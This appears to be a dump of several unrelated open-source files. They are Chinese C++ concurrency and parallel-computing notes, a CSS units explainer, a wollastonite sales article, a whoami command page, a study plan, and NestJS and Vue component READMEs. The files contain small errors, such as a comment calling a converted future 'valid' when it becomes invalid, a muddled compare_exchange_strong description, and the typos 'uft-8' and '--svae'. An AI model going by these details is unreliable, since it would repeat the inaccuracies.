T load(memory_order = memory_order_seq_cst) const;
bool compare_exchange_weak(T& expected, T val, memory_order = memory_order_seq_cst) volatile;//该函数直接比较原子对象所封装的值与参数expected的物理内容，所以某些情况下，对象的比较操作在使用 operator==()判断时相等，但compare_exchange_weak判断时却可能失败，因为对象底层的物理内容中可能存在位对齐或其他逻辑表示相同但是物理表示不同的值(比如true和2或3，它们在逻辑上都表示"真"，但在物理上两者的表示并不相同)。可以虚假的返回false(和expected相同)。若本atomic的T值和expected相同则用val值替换本atomic的T值，返回true;若不同则用本atomic的T值替换expected，返回false。
bool compare_exchange_weak(T &, T, memory_order = memory_order_seq_cst);
bool compare_exchange_strong(T &, T, memory_order = memory_order_seq_cst) volatile;//与compare_exchange_weak不同,strong版本的compare-and-exchange操作不允许返回 false，即原子对象所封装的值与参数expected的物理内容相同，比较操作一定会为true。不过在某些平台下，如果算法本身需要循环操作来做检查，compare_exchange_weak的性能会更好。因此对于某些不需要采用循环操作的算法而言,通常采用compare_exchange_strong更好
bool compare_exchange_strong(T &, T, memory_order = memory_order_seq_cst);
```
### 17.5.4 自旋锁实现
通过原子变量，我们可以自行实现标准库中没有的自旋锁：
```cpp
class spin_mutex {
std::atomic<bool> flag = ATOMIC_VAR_INIT(false);
public:
spin_mutex() = default;
spin_mutex(const spin_mutex&) = delete;
spin_mutex& operator= (const spin_mutex&) = delete;
void lock() {
bool expected = false;
while (!flag.compare_exchange_strong(expected, true)) {
expected = false;
}
}
void unlock() {
flag.store(false);
}
};
```
从网上的性能测试来看所有平台的自旋锁性能都无限接近无锁实现，并且使用方式和互斥锁几乎没有差别，但是仍然看场景，场景我们在17.3讨论过。
## 17.6 *std::async*
*std::async()*是一个接受回调(函数或函数对象)作为参数的函数模板，并有可能异步执行它们。*std::async*返回一个*std::future*，它存储由*std::async()*执行的函数对象返回的值。函数的参数可以作为函数指针参数后面的参数传递给*std::async()*。
std::async中的第一个参数是启动策略，它控制std::async的异步行为，我们可以用三种不同的启动策略来创建std::async：
std::launch::async：保证异步行为，即传递函数将在单独的线程中执行
std::launch::deferred：当其他线程的future调用get()或者wait()才执行该函数
std::launch::async | std::launch::deferred：默认行为。有了这个启动策略，它可以异步运行或不运行，这取决于系统的负载，但我们无法控制它。
## 17.7 *std::promise*
promise对象可以通过set_value保存某一类型 T 的值，该值可被 future 对象通过get阻塞读取（可能在另外一个线程中），因此 promise 也提供了一种线程同步的手段。在 promise 对象构造时可以和一个共享状态（通常是std::future，通过get_future）相关联，并可以在相关联的共享状态(std::future)上保存一个类型为 T 的值。
可以通过 get_future 来获取与该 promise 对象相关联的 future 对象，调用该函数之后，两个对象共享相同的共享状态(shared state)
- promise 对象是异步 Provider，它可以在某一时刻设置共享状态的值。
- future 对象可以异步返回共享状态的值，或者在必要的情况下阻塞调用者并等待共享状态标志变为 ready，然后才能获取共享状态的值。
举个例子来说明promise是如何使用的：
```cpp
#include <iostream> // std::cout
#include <functional> // std::ref
#include <thread> // std::thread
#include <future> // std::promise, std::future
void print_int(std::future<int>& fut) {
int x = fut.get(); // 获取共享状态的值.
std::cout << "value: " << x << '\n'; // 打印 value: 10.
}
int main ()
{
std::promise<int> prom; // 生成一个 std::promise<int> 对象.
std::future<int> fut = prom.get_future(); // 和 future 关联.
std::thread t(print_int, std::ref(fut)); // 将 future 交给另外一个线程t.
prom.set_value(10); // 设置共享状态的值, 此处和线程t保持同步.
t.join();
return 0;
}
```
future在主线程中和promise绑定，然后将future传给副线程，future在副线程中调用get阻塞等待共享变量ready。当主线程中的promise调用set_value后共享变量ready，副线程中的future唤醒线程并获得主线程set_value的值。
常用函数有：
```cpp
future<T> get_future();//返回一个和promise绑定的future对象
promise& operator= (promise&& rhs) noexcept;
promise& operator= (const promise&) = delete;//禁用复制，允许移动构造
void set_exception (exception_ptr p);//设置异常，当future调用get的时候抛出异常
void set_exception_at_thread_exit (exception_ptr p);//线程结束时设置future同步的值
void set_value (const T& val);
void set_value (T&& val);
void promise<R&>::set_value (R& val); // when T is a reference type (R&)
void promise<void>::set_value (void); // when T is void
void set_value_at_thread_exit (const T& val);
void set_value_at_thread_exit (T&& val);
void promise<R&>::set_value_at_thread_exit (R& val);// when T is a reference type (R&)
void promise<void>::set_value_at_thread_exit (void);// when T is void
```
## 17.8 *std::future*
std::future 可以用来获取异步任务的结果，因此可以把它当成一种简单的线程间同步的手段。std::future 通常由某个Provider创建，你可以把Provider想象成一个异步任务的提供者，Provider 在某个线程中设置共享状态的值，与该shared state相关联的std::future对象调用get（通常在另外一个线程中）获取该值，如果共享状态的标志不为 ready，则调用 std::future::get 会阻塞当前的调用者，直到 Provider 设置了共享状态的值（此时共享状态的标志变为 ready），std::future::get 返回异步任务的值或异常（如果发生了异常）。
一个有效(valid)的std::future对象通常由以下三种Provider创建，并和某个共享状态相关联。Provider可以是函数或者类，其实我们前面都已经提到了，他们分别是：
- std::async函数返回一个future。
- std::promise::get_future，get_future为 promise类的成员函数。
- std::packaged_task::get_future，此时get_future为packaged_task的成员函数。
std::shared_future与std::future类似，但是std::shared_future可以拷贝、多个std::shared_future可以共享某个共享状态的最终结果(即共享状态的某个值或者异常)，这样就可以实现多个线程等待一个线程结果的场景。shared_future可以通过某个std::future对象隐式转换（参见std::shared_future的构造函数），或者通过std::future::share()显示转换，无论哪种转换，被转换的那个 std::future对象都会变为not-valid。一个有效的std::future对象只能通过std::async()，std::future::get_future或者std::packaged_task::get_future来初始化，可通过valid()函数来判断一个future对象是否valid。具体例子可以看17.7。
常用函数有：
```cpp
T get();//Returns the value stored in the shared state (or throws its exception) when the shared state is ready.
future& operator= (future&& rhs) noexcept;
future& operator= (const future&) = delete;
shared_future<T> share();//Returns a shared_future object that acquires the shared state of the future object.执行后原来的future变成valid
bool valid() const noexcept;//默认构造函数的future和调用过get的future都返回false，除非被其他valid的future进行移动赋值
void wait() const;//等待直到shared state变成ready
template <class Rep, class Period>
future_status wait_for (const chrono::duration<Rep,Period>& rel_time) const;//等待shared state变成ready或者时间到。若时间到了shared state还未ready则返回future_status::timeout；若ready返回future_status::ready；若future对象由async构造函数返回，并且async包含的是一个std::launch::deferred同步执行函数，则返回future_status::deferred
template <class Clock, class Duration>
future_status wait_until (const chrono::time_point<Clock,Duration>& abs_time) const;//等待直到一个特定时间点，若等待时间点在当前之前则返回future_status::timeout
```
## 17.9 线程池
通过上述介绍的C++11的并发编程库我们可以实现一个简单的线程池，只需要用到mutex和condition_variable：
```cpp
#include <iostream>
#include <mutex>
#include <condition_variable>
#include <functional>
#include <queue>
#include <thread>
class ThreadPool {
public:
explicit ThreadPool(size_t threadCount)
: data_(std::make_shared<data>()) {
for (size_t i = 0; i < threadCount; ++i) {
std::thread([data = data_] {
std::unique_lock<std::mutex> lk(data->mtx);
for (;;) {
if (!data->tasks.empty()) {
auto current = std::move(data->tasks.front());
data->tasks.pop();
lk.unlock();
current();
lk.lock();
}
else if (data->isShutdown) {
break;
}
else {
data->cond.wait(lk);
}
}
}).detach();
}
}
ThreadPool() = default;
ThreadPool(ThreadPool&&) = default;
~ThreadPool() {
if ((bool)data_) {
{
std::lock_guard<std::mutex> lk(data_->mtx);
data_->isShutdown = true;
}
data_->cond.notify_all();
}
}
template <class F>
void execute(F&& task) {
{
std::lock_guard<std::mutex> lk(data_->mtx);
data_->tasks.emplace(std::forward<F>(task));
}
data_->cond.notify_one();
}
private:
struct data {
std::mutex mtx;
std::condition_variable cond;
bool isShutdown = false;
std::queue<std::function<void()>> tasks;
};
std::shared_ptr<data> data_;
};
int main()
{
ThreadPool tp(10);
tp.execute([]() {
for (int i = 0; i < 20; ++i) {
std::cout << "i:" << i << std::endl;
}
});
tp.execute([]() {
for (int i = 0; i < 20; ++i) {
std::cout << "i:" << i << std::endl;
}
});
system("pause");
}
```
在ThreadPool类的构造函数中我们会起threadCount个线程并进入一个死循环中，每一个线程都通过条件变量等待被唤醒。当ThreadPool的对象调用execute接口并传入函数指针之后将函数指针push进任务队列中，接着唤醒一个线程。被随机唤醒的线程从任务队列中pop出一个函数任务开始调用。
这个线程池可能还比较简单，只能执行无参数无返回的任务，在实际生产中可能难以适用，但是通过简单的修改我们可以通过多态加闭包的方法实现不同函数的调用。
# 18. 并行编程
## 18.1 指令集并行
CPU流水线相关
## 18.2 数据级并行
### 18.2.1 *SIMD(Single instruction multidata)*
SIMD即单指令流多数据流，是一种采用一个控制器来控制多个处理器，同时对一组数据（又称“数据向量”）中的每一个分别执行相同的操作从而实现空间上的并行性的技术。简单来说就是一个指令能够同时处理多个数据。
1996年Intel推出了X86的MMX(MultiMedia eXtension)指令集扩展，MMX定义了8个寄存器，称为MM0到MM7，以及对这些寄存器进行操作的指令。每个寄存器为64位宽，可用于以“压缩”格式保存64位整数或多个较小整数，然后可以将单个指令一次应用于两个32位整数，四个16位整数或8个8位整数。
intel在1999年又推出了全面覆盖MMX的SSE(*Streaming SIMD Extensions*， 流式SIMD扩展)指令集，并将其应用到Pentium III系列处理器上，SSE添加了八个新的128位寄存器(XMM0至XMM7)，而后来的X86-64扩展又在原来的基础上添加了8个寄存器(XMM8至XMM15)。SSE支持单个寄存器存储4个32位单精度浮点数，之后的SSE2则支持单个寄存器存储2个64位双精度浮点数，2个64位整数或4个32位整数或8个16位短整形。SSE2之后还有SSE3，SSE4以及AVX，AVX2等扩展指令集。
AVX引入了16个256位寄存器(YMM0至YMM15)，AVX的256位寄存器和SSE的128位寄存器存在着相互重叠的关系(XMM寄存器为YMM寄存器的低位)，所以最好不要混用AVX与SSE指令集，否在会导致transition penalty（过渡处罚）。
### 18.2.2 *SIMT(Single instruction multithread)*
首先厘清概念：
- SIMD：单指令多数据，首先获取多个数据，同时使用一条指令处理
- SMT：同时多线程，不同线程之间的指令可以并行执行
- SIMT：二者折中方案，单指令多线程，线程内部执行相同指令，但比SIMD更灵活，比SMT效率更高
其次，对比SIMT与SIMD，上文说到，SIMT比SIMD更灵活，其主要体现在以下三点
1. 单指令，可以访问多个寄存器组。
2. 单指令，多种寻址方式。
3. 单指令，多种执行路径
每组线程中，如果出现分支指令，则不同线程之间串行执行，直到分支指令执行完毕，每组线程继续并行执行相同指令，下文会提供一种分支指令预测机制。
最后，对比SIMT与SMT，上文说到，SIMT比SMT效率更高，主要体现在SIMT可同时运行的线程更多、寄存器更多这两点：
1. 足够多的线程，可以获得足够高的吞吐率
2. 一方面延迟是竭力避免的，另一方面寄存器的价格是可以接受的。
## 18.3 线程级并行
### 18.3.1 *SMT(Simultaneous multithreading)*
我们前面介绍过pthread，一个多线程库，这是软件层面的概念。如果多个线程想运行在同一个core上我们只能让任务分时服用，而硬件上如果一个CPU支持SMT，就是在能让多个线程共用一个CPU，但是分别用CPU上的不同的资源。CPU在执行一条机器指令时，并不会完全地利用所有的CPU资源，而且实际上，是有大量资源被闲置着的。超线程技术允许两个线程同时不冲突地使用CPU中的资源。比如一条整数运算指令只会用到整数运算单元，此时浮点运算单元就空闲了，若使用了超线程技术，且另一个线程刚好此时要执行一个浮点运算指令，CPU就允许属于两个不同线程的整数运算指令和浮点运算指令同时执行，这是真的并行。超线程的原理主要是两个逻辑核心各自有一套自己的线程状态存储设施：控制寄存器，通用寄存器。从而调度器可以同时调度两个线程，这个是关键。最终这么做的目的是充分利用执行引擎。
### 18.3.2 OpenMP
## 18.4 进程级并行
### 18.4.1 MPI
MPI是一个跨语言的通讯协议，用于编写进程级并行程序，包括协议和和语义说明，他们指明其如何在各种实现中发挥其特性。MPI的目标是高性能，大规模性，和可移植性。一般用于HPC等大型计算集群场景。
MPI有很多的实现，包括OpenMPI/IntelMPI/MPICH2/MVAPICH等。Nvidia的NCCL其实也算是MPI接口的一种实现，当前NCCL支持多GPU和多节点的通信，兼容MPI接口。
以OpenMPI为例，节点之间的通信除了基本的TCP协议之外还支持RoCE和Infiniband等协议，能尽量减少节点之间通信的时延。
除了用于HPC之外在当前深度学习训练场景下也常常用到MPI。Inspur公司就基于caffe实现了MPI版本来提升集群训练的性能。当然在当前NCCL已经兼容了MPI接口并且还支持GPUDirect的情况下也就不需要再使用其他版本的MPI了。除了caffe之外在tensorflow中做集群通信的主要是使用的自家的gRPC（当然GPU之间通信肯定是使用的NCCL），gRPC当然也能基于RDMA，但是由于gRPC本身层级过高，基于RDMA的性能并不如MPI，所以科大目前有团队把tensorflow改成了MPI版，但并不是主流。
# 19. *CPU*
CPU执行计算任务时都需要遵从一定的规范，程序在被执行前都需要先翻译为CPU可以理解的语言。这种规范或语言就是指令集（ISA，Instruction Set Architecture）。程序被按照某种指令集的规范翻译为CPU可识别的底层代码的过程叫做编译（compile）。x86、ARM v8、MIPS都是指令集的代号。指令集可以被扩展，如x86增加64位支持就有了x86-64。厂商开发兼容某种指令集的CPU需要指令集专利持有者授权，典型例子如Intel授权AMD，使后者可以开发兼容x86指令集的CPU。
核心的实现方式被称为微架构（microarchitecture）。微架构的设计影响核心可以达到的最高频率、核心在一定频率下能执行的运算量、一定工艺水平下核心的能耗水平等等。此外，不同微架构执行各类程序的偏向也不同，例如90年代末期Intel的P6微架构就在浮点类程序上表现优异，但在整数类应用中不如同频下的对手。
常见的代号如Haswell、Cortex-A15等都是微架构的称号。注意微架构与指令集是两个概念：指令集是CPU选择的语言，而微架构是具体的实现。i7-4770的核心是Haswell微架构，这种微架构兼容x86指令集。对于兼容ARM指令集的芯片来说这两个概念尤其容易混淆：ARM公司将自己研发的指令集叫做ARM指令集，同时它还研发具体的微架构如Cortex系列并对外授权。但是，一款CPU使用了ARM指令集不等于它就使用了ARM研发的微架构。Intel、高通、苹果、Nvidia等厂商都自行开发了兼容ARM指令集的微架构，同时还有许多厂商使用ARM开发的微架构来制造CPU。通常，业界认为只有具备独立的微架构研发能力的企业才算具备了CPU研发能力，而是否使用自行研发的指令集无关紧要。 | 101,688 | MIT |
# px/em/rem区别
## px
### 物理像素点
px是你屏幕设备物理上能显示的最小的一个点，这个点不是固定宽度的，不同设备上的长宽比例有可能会不同
```css
div {
font-size: 16px;
width: 50px;
height: 50px;
background-color: #f8f8f8;
}
```
```html
<div>物理像素点文本大小</div>
```
### px 的兼容性
兼容所有浏览器
## em
### 相对于父元素的font-size大小的相对单位：
所有现代浏览器下默认字体尺寸是16px，这时1em = 16px,然后你人为把body里面定义font-size: 12px;(把浏览器默认16px改小)，此时1em = 12px;
如果0.8em实际上就等于12px*0.8，
**em的用处是你要整个网页字体统一变大变小，你只要改body里面的font-size的值就行了。**
另外：
**em会继承父元素的字体大小**
```css
.parent {
font-size: 10px;
background-color: #f8f8f8;
}
.parent-2 {
font-size: 1em; /* font-size: 10px */
width: 1em; /* width: 10px */
height: 1em; /* height: 10px */
background-color: #777;
}
.child {
font-size: 5em; /* font-size: 50px */
width: 5em; /* width: 50px */
height: 5em; /* height: 50px */
background-color: #52ccba;
}
```
```html
<div class="parent">
<div class="parent-2">
父元素文本大小1em
<div class="child">子元素文本大小5em</div>
</div>
</div>
```
### em 的兼容性
IE | Edge | Firefox | Chrome | Safari | Opera | iOS Safari | Opera Mini | Android Browser | Blackberry Browser | Opera Mobile | Chrome for Android | Firefox for Android | IE Mobile | UC Browser for Android | Samsung Internet | QQ Browser | Baidu Browser
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---
IE9及以下版本不支持|12以下版本不支持|4以下版本不支持|5以下版本不支持|5版本以下不支持|10以下版本不支持|3.2版本以下不支持|都不支持|3版本以下不支持|10以下版本不支持|12以下版本不支持|71以下版本不支持|64以下版本不支持|10及以下版本不支持|11.8以下版本不支持|4以下版本不支持|1.2及以下版本不支持|7.12及以下版本不支持
## rem
### 相对于HTML文档的font-size大小的相对单位
rem是相对于html元素的font-size大小的相对单位，所以在使用rem 的时候，只需要设置html元素的font-size大小即可，而且html的font-size是rem 的基准。
```css
html {
font-size: 10px;
}
.rem-1 {
width: 1rem; /* width: 10px */
height: 1rem; /* height: 10px */
font-size: 1rem; /* font-size: 10px */
background-color: #f8f8f8;
}
.rem-2 {
width: 5rem; /* width: 50px */
height: 5rem; /* height: 50px */
font-size: 5rem; /* font-size: 50px */
background-color: #52ccba;
}
```
```html
<!DOCTYPE html>
<html>
<head>
<meta charset="uft-8">
<title>rem</title>
</head>
<body>
<div class="rem-1">文本大小为1rem</div>
<div class="rem-2">文本大小为5rem</div>
</body>
</html>
```
### rem 的兼容性
IE | Edge | Firefox | Chrome | Safari | Opera | iOS Safari | Opera Mini | Android Browser | Blackberry Browser | Opera Mobile | Chrome for Android | Firefox for Android | IE Mobile | UC Browser for Android | Samsung Internet | QQ Browser | Baidu Browser
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---
IE11以下版本不支持|12以下版本不支持|3.6以下版本不支持|4以下版本不支持|5版本以下不支持|12.1以下版本不支持|6版本以下不支持|都支持|2.1版本以下不支持|7及以下版本不支持|12以下版本不支持|71以下版本不支持|64以下版本不支持|10以下版本不支持|11.8以下版本不支持|4以下版本不支持|1.2及以下版本不支持|7.12及以下版本不支持 | 2,822 | MIT |
---
title: 硅灰石——一种多功能的工业矿物 什么是硅灰石？
date: 2022-03-31T05:22:38.915Z
---
<!--StartFragment-->
硅灰石——一种多功能的工业矿物 什么是硅灰石？
硅灰石是一种化学简单的矿物，以纪念英国矿物学家和化学家W.H. Wollaston (1766–1828)。它是由钙（Ca）和硅和氧（SiO2、二氧化硅）等元素组成，化学式为CaSiO3。虽然很多硅灰石是比较纯的CaSiO3，它可以含有一些铁、镁、锰、铝、钾、钠或锶代替矿物质结构中的钙。纯硅灰石呈亮白色；这杂质的种类和数量可以产生灰色、奶油色、棕色、苍白、绿色或红色。
硅灰石矿床
硅灰石由两个过程形成。第一种发生在二氧化硅和石灰石由于深埋（区域变质作用）或由于靠近火成岩侵入物（矽卡岩沉积物）而被烘烤至400°–450°C的温度时，形成硅灰石并产生二氧化碳：SiO2+CaCO3=CaSiO3+CO2（二氧化硅+石灰石=硅灰石+二氧化碳）；第二种方式硅灰石形式是通过直接结晶来自熔岩（岩浆）碳含量异常高。这些岩浆的来源是有争议，但目前的想法是他们可能起源于下地壳和上地幔。
硅灰石为什么那么有用？
硅灰石有几种物理使其成为有用的工业矿物材料：硅灰石在很大程度上是惰性的，虽然它会溶解在浓缩处理过的盐酸中。它不会与其他成分发生反应，无论是在制造的产品中或在制造过程之后。在粉碎过程中，硅灰石断成板条状或针状（针状纤维）颗粒，因为它独特的解理特性。针状大小是通过硅灰石粉的长度与直径比（长径比）来衡量的。一般的硅灰石颗粒长径比大约为3:1。而湖北冯家山矿出产的硅灰石长径比可以达到20:1的比例。不同长径比的硅灰石粉有不同的应用领域。在硅酸钙板及纤维水泥领域，由于石棉制品加工中极易导致人们产生癌症，这在美国、日本等工业发达国家已形成共识，所以目前他们开始淘汰石棉及其制品的使用，而以针状硅灰石代替短纤维石棉、玻璃纤维，投入工业化生产。湖北冯家山公司所产针状硅灰石，是加工针状硅灰石粉的理想原料，具有广阔的发展前途。在电器绝缘材料中，硅灰石形成不导电的结晶时，具有很高的绝缘率，这种性能在高质量的电力设备中是宝贵的材料。美国公司在制造电气陶瓷中，加入２０％硅灰石，使得该类产品价格下降２０倍。绝缘材料容许通过极少量的电，因此，硅灰石被用在无线电陶瓷、低介电损耗的绝缘体、日用绝缘器的陶瓷绝缘泡沫、建筑绝缘陶瓷等行业。对超高频专门电子仪器，如高温瓷元件，高压断路器，酚醛粘合电阻器，以及在制造温度５００℃以上的无机绝缘材料方面，硅灰石也是特别有用的。在橡胶塑料中，硅灰石粉已被应用在硫化橡胶，铺地沥清乙烯基砖、乙烯基树脂、聚乙醚环氧树脂乙烯塑板、苯酚模型中。生产环氧树脂时采用５０％的硅灰石粉做填充色剂，在非凝固状态时具有吸水率低的特点。硅灰石可以改进聚合物质的性质，做弹性物质的填充料，可降低价格。这种合成物质热稳定性高，介电指数和吸水性低、机械性能稳定。硅灰石广泛用于聚丙烯、聚苯乙烯、聚乙烯基氯化物、聚乙烯中的填料，与其它填料相比，硅灰石具有优良的电学、机械和热力学的性质。在聚苯乙烯树脂合成物中加入硅灰石，可降低昂贵色料的用量，而不影响质量。在聚丙化合物中应用硅灰石亦可节省费用。由于硅灰石水份含量低，颜色浅具有光泽，形状稳定，有加固性质，所以常常又被应用在尼龙模压材料中。硅灰石粉应用在胶鞋行业的鞋底中，取代部分钛白粉、白炭黑、陶土等，效果佳。用于胶管、胶带中、产品质量提高，而成本明显降低。
由于其特殊的晶体形态结晶结构，良好的绝缘性、高的白度、良好的介电性能和较高的耐热、耐候性能。使硅灰石广泛地应用于陶瓷、化工、冶金、造纸、塑料、涂料等领域。
硅灰石的加工
由于硅灰石有那么多有用的应用领域，对硅灰石的加工处理也是必须的，硅灰石经过矿山钻孔、爆破和矿石破碎，下一步加工就进入相关生产设备，如赛选、碾磨、分级、表面改性等。根据粉碎后粉体大小（目数）以及长径比大小划分为不同的产品型号。产品的类别是：一般等级-粉末<400目（38微米）细磨->400目 高长径比等级（15-20:1) 化学改性等级硅灰石的产品型号划分。硅灰石首次被应用还是在1970年代后期，哪个时候硅灰石只是作为装饰原石。自1980年代初以来，硅灰石用途之一是作为石棉替代，包括绝缘板和硅酸钙板、纤维水泥、油漆、塑料、屋面瓦，以及摩擦装置，例如制动器和离合器。同时硅灰石被广泛用作在钢的铸造和在油漆和涂料的生产。在涂料方面，硅灰石起到改性增强、硬化、低吸油性化和其他好处。在纹理涂料，如灰泥、硅灰石起到抗裂性，改性增强，和高亮度等作用。硅灰石也用于制造粘合剂、接合剂、耐火材料和橡胶。超细硅灰石粉体用于专业塑料的生产，包括尼龙，酚醛模塑料，聚酯、聚氨酯和聚脲。
硅灰石应用展望
硅灰石在全球来说都是一种稀有矿物，随着年限越长，能被人类使用的储量会越来越少。湖北省除分布中国最早发现和开采的大冶下马林(小箕铺)小型矿外，在大冶—阳新一带还发现冯家山、叶花香、牛头山、丰山洞等一些矿点有待勘查。俄国是最大的石棉生产国，然后依次是加拿大、中国等。1999年估计世界生产了193万吨，其中中国约生产了30万吨。据美国地调局资料，至2000年底，世界石棉证实储量为2亿吨，还有0.45亿吨已查明资源。假若世纪末的消费速度今后一直不变，全世界已探明的石棉矿的静态可采储量还可以开采126年。而光是以湖北冯家山矿山为例，探明储量500万吨以上，保有储量1000万吨，年开采量约为10万吨，可开采约为50-100年。
http://www.yuanlinquan.com/content/190.html
\
<!--EndFragment--> | 2,852 | MIT |
whoami
===
打印当前有效的用户名称
## 补充说明
**whoami命令** 用于打印当前有效的用户名称，相当于执行`id-un`命令。
### 语法
```
whoami(选项)
```
### 选项
```
--help：在线帮助；
--version：显示版本信息。
```
### 实例
```
[root@localhost ~]# whoami
root
[root@localhost ~]# id -un
root
```
<!-- Linux命令行搜索引擎：https://jaywcjlove.github.io/linux-command/ --> | 309 | Apache-2.0 |
---
title: '学习计划'
AE: '每天事情太杂，想办法克服和改变。'
---
<!-- <div class="row">
<div class="col">
<nav aria-label="breadcrumb">
<ol class="breadcrumb">
<li class="breadcrumb-item"><a href="#">Home</a></li>
<li class="breadcrumb-item active" aria-current="page">Library</li>
</ol>
</nav>
</div>
</div> -->
1.看书，考试，架构师、设计师考试，学习；
2.健身，减肥，一胖毁所有；
3.少看手机、少看电视、少看电脑，不做数码产品的奴隶；
4.时间冲突，每天都是下班后，需要合理计划； | 423 | MIT |
# BoBo-NestJS-Server
<p align="center">
<a href="http://nestjs.com/" target="blank"><img src="https://nestjs.com/img/logo_text.svg" width="320" alt="Nest Logo" /></a>
</p>
[travis-image]: https://api.travis-ci.org/nestjs/nest.svg?branch=master
[travis-url]: https://travis-ci.org/nestjs/nest
[linux-image]: https://img.shields.io/travis/nestjs/nest/master.svg?label=linux
[linux-url]: https://travis-ci.org/nestjs/nest
<p align="center">A progressive <a href="http://nodejs.org" target="blank">Node.js</a> framework for building efficient and scalable server-side applications, heavily inspired by <a href="https://angular.io" target="blank">Angular</a>.</p>
<p align="center">
<a href="https://www.npmjs.com/~nestjscore"><img src="https://img.shields.io/npm/v/@nestjs/core.svg" alt="NPM Version" /></a>
<a href="https://www.npmjs.com/~nestjscore"><img src="https://img.shields.io/npm/l/@nestjs/core.svg" alt="Package License" /></a>
<a href="https://www.npmjs.com/~nestjscore"><img src="https://img.shields.io/npm/dm/@nestjs/core.svg" alt="NPM Downloads" /></a>
<a href="https://travis-ci.org/nestjs/nest"><img src="https://api.travis-ci.org/nestjs/nest.svg?branch=master" alt="Travis" /></a>
<a href="https://travis-ci.org/nestjs/nest"><img src="https://img.shields.io/travis/nestjs/nest/master.svg?label=linux" alt="Linux" /></a>
<a href="https://coveralls.io/github/nestjs/nest?branch=master"><img src="https://coveralls.io/repos/github/nestjs/nest/badge.svg?branch=master#5" alt="Coverage" /></a>
<a href="https://gitter.im/nestjs/nestjs?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=body_badge"><img src="https://badges.gitter.im/nestjs/nestjs.svg" alt="Gitter" /></a>
<a href="https://opencollective.com/nest#backer"><img src="https://opencollective.com/nest/backers/badge.svg" alt="Backers on Open Collective" /></a>
<a href="https://opencollective.com/nest#sponsor"><img src="https://opencollective.com/nest/sponsors/badge.svg" alt="Sponsors on Open Collective" /></a>
<a href="https://paypal.me/kamilmysliwiec"><img src="https://img.shields.io/badge/Donate-PayPal-dc3d53.svg"/></a>
<a href="https://twitter.com/nestframework"><img src="https://img.shields.io/twitter/follow/nestframework.svg?style=social&label=Follow"></a>
</p>
<!--[](https://opencollective.com/nest#backer)
[](https://opencollective.com/nest#sponsor)-->
🚀 轻量级 `NestJS-API` 脚手架,欢迎 Star!
🍌 [配套前端地址](https://github.com/BoBoooooo/Anshare_Vue_Admin.git)
🍉 [swagger地址](http://server.boboooooo.top:7788/api/)
🍏 [socket.io测试地址](http://server.boboooooo.top:7788)
## 1. 开始使用
* git clone https://github.com/BoBoooooo/NestJS-API-Server.git
* npm install
* 配置mysql数据库
* 新建数据库 `nest`
* 导入 `nest.sql`
* 修改以下相关数据库配置
* `package.json->scripts->db`
* `/src/config/env/*`
* npm start
## 2.目录结构
```bash
├── public # public
│ └── index.html # 测试socket.io页面
├── src # src
│ ├── config # 环境变量等配置文件
│ ├── core # 通用定义文件
│ ├── entities # 数据库ORM Entity
│ ├── events # webSocket
│ ├── filter # 全局异常filter
│ ├── guards # 路由守卫(鉴权)
│ ├── interceptor # interceptor
│ ├── logs # logs
│ ├── middleware # middleware logs
│ ├── module # 各个业务模块,包含base module
│ ├── utils # 工具函数
├── test # 测试
````
## 3. 功能
- 登录、JWT鉴权
- Socket.IO
默认Socket.IO监听8080端口 `/src/events/events.gateway.ts`
client端实现查看 `/public/index.html`
- `BaseController` `BaseService` 封装基础CRUD接口
- /xxx/add
- /xxx/update
- /xxx/delete
- /xxx/list
- /xxx/tree
- /xxx/detail
- list接口支持`高级查询`,具体实现查看`BaseService`
```javascript
示例:
curl - POST /users/list
{
"searchCondition":[{
"field":"userName",
"operator":"like",
"value":"ce"
},
{
"field":"userName",
"operator":"like",
"value":"shi"
}],
"pageIndex":1,
"pageSize":1,
"orderCondition":"id desc"
}
===
最后生成的sql：
select * from users where userName like '%ce%' and userName like '%shi%' order by id desc limit 1,1
```
- 全局`http异常处理`以及`代码异常`处理
- log 日志
- HTTP返回值统一ResultBean封装
- 文件上传,静态资源服务
- 一键生成数据库模型 `npm run db` (typeorm-model-generator)
## 4. 部署
``` javascript
// 项目提供了 /src/config/env/dev,prod,test 三种环境变量配置文件
// main入口监听端口号
await app.listen(process.env.PORT || 3000);
// 采用不同的npm命令实现多环境部署
cross-env NODE_ENV=production // npm 命令 cross-env指定当前环境
PORT=3000 // 指定监听端口
```
具体流程
* npm run build
* 拷贝dist文件夹
* 拷贝package.json
* 服务器上执行 npm install 安装所需依赖 (此处大坑,依赖并不会被打包到dist文件夹中)
* npm run start:prod / npm run pm2 | 4,858 | MIT |
# vue-scrollbars
 
> 基于 Vue 的 PC 端滚动组件 简单 轻量 高效
> 仅对原生滚动组件进行滚动条样式统一化处理，并添加自动隐藏,拖动滚动等常用功能，利用动态滚动宽度监测来填平平台之间的差异
## github
[github](https://github.com/zhangzhengyi12/vue-scrollbars)
if you like , click star , thanks!
## DEMO
[live-demo](https://yinode.tech/vue-scrollbars/)
使用示例请看 app.vue
## How to use
```bash
sudo npm i @zhangzhengyi12/vue-scrollbars --svae
```
global regisiter
```js
import Vue from 'vue'
import Scrollerbars from '@zhangzhengyi12/vue-scrollbars'
Vue.use(Scrollerbars)
```
OR in component
```js
import Scrollerbars from '@zhangzhengyi12/vue-scrollbars'
// in vue component
export default {
components: { Scrollerbars }
}
```
```xml
<scrollbars style="height:200px" autoHide>
<!-- you content -->
</scrollerbars>
```
## Props
| name | type | desc | default |
| ------------------ | -------- | ----------------------------------------- | ------- |
| autoHide | Boolean | auto hide scrollbar | false |
| hideTime | Boolean | auto Hide Time | 1000 |
| data | Array | on watch Data Change refresh Bar | [] |
| displayBar | Boolen | display scrollbar | true |
| listenScrollBottom | Function | Called when scrolling to the bottom | false |
| scrollBottomHeight | Number | listenScrollBottom handler trigger height | 50 |
| listenScrollRight | Function | Called when scrolling to the right | false |
| scrollBottomHeight | Number | listenScrollRight handler trigger height | 50 |
## APIS
| name | params | desc |
| --------- | ------ | ----------------- |
| refresh() | null | refersh scrollbar |
> this.\$refs.scrollbars.refresh()
## Event
| name | params | desc |
| ------- | ------------------- | ------------------- |
| @scroll | scroll event object | native scroll Event |
## 特性
### 自动监测滚动条
